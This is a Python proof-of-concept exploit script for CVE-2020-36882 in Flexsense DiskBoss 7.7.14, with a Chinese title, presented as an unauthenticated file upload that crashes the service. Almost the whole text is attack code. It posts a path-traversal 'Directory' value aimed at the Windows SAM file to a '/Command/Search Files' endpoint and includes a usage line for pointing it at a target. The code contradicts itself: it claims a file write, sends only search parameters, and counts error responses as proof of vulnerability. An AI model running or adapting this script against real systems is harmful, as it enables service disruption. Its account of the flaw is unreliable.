CVE-2020-36882: Flexsense DiskBoss 7.7.14 任意文件上传导致拒绝服务漏洞

import requests import sys # CVE-2020-36882 PoC - DiskBoss 7.7.14 Arbitrary File Upload DoS # Target: Flexsense DiskBoss 7.7.14 # Vulnerability: Unauthenticated arbitrary file upload via /Command/Search Files endpoint def exploit_diskboss(target_url, file_path='../../../../windows/system32/config/sam'): """ Exploit function to trigger arbitrary file upload vulnerability Args: target_url: Base URL of vulnerable DiskBoss server file_path: Malicious file path to write (path traversal supported) Returns: bool: True if exploit sent successfully, False otherwise """ exploit_url = f"{target_url}/Command/Search Files" # Construct malicious payload payload = { 'Directory': file_path, # Path traversal + arbitrary file path 'SearchPattern': '*.exe', 'EnableRecursive': '1', 'EnableSubfolders': '1' } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/x-www-form-urlencoded', 'Accept': '*/*' } try: print(f"[*] Sending exploit payload to {exploit_url}") print(f"[*] File path: {file_path}") # Send POST request with malicious payload response = requests.post( exploit_url, data=payload, headers=headers, timeout=10, verify=False ) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") if response.status_code == 200: print("[+] Exploit payload sent successfully") print("[+] Application may crash due to arbitrary file write") return True else: print(f"[-] Unexpected response: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {str(e)}") return False def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2020-36882 """ test_url = f"{target_url}/Command/Search Files" try: response = requests.get(test_url, timeout=5) if response.status_code in [200, 400, 500]: print(f"[+] Target appears to be running DiskBoss service") return True except: pass return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2020-36882.py <target_url>") print("Example: python cve-2020-36882.py http://192.168.1.100:8090") sys.exit(1) target = sys.argv[1].rstrip('/') print("=" * 60) print("CVE-2020-36882 - DiskBoss 7.7.14 Arbitrary File Upload DoS") print("=" * 60) if check_vulnerability(target): exploit_diskboss(target) else: print("[-] Target does not appear to be a vulnerable DiskBoss instance")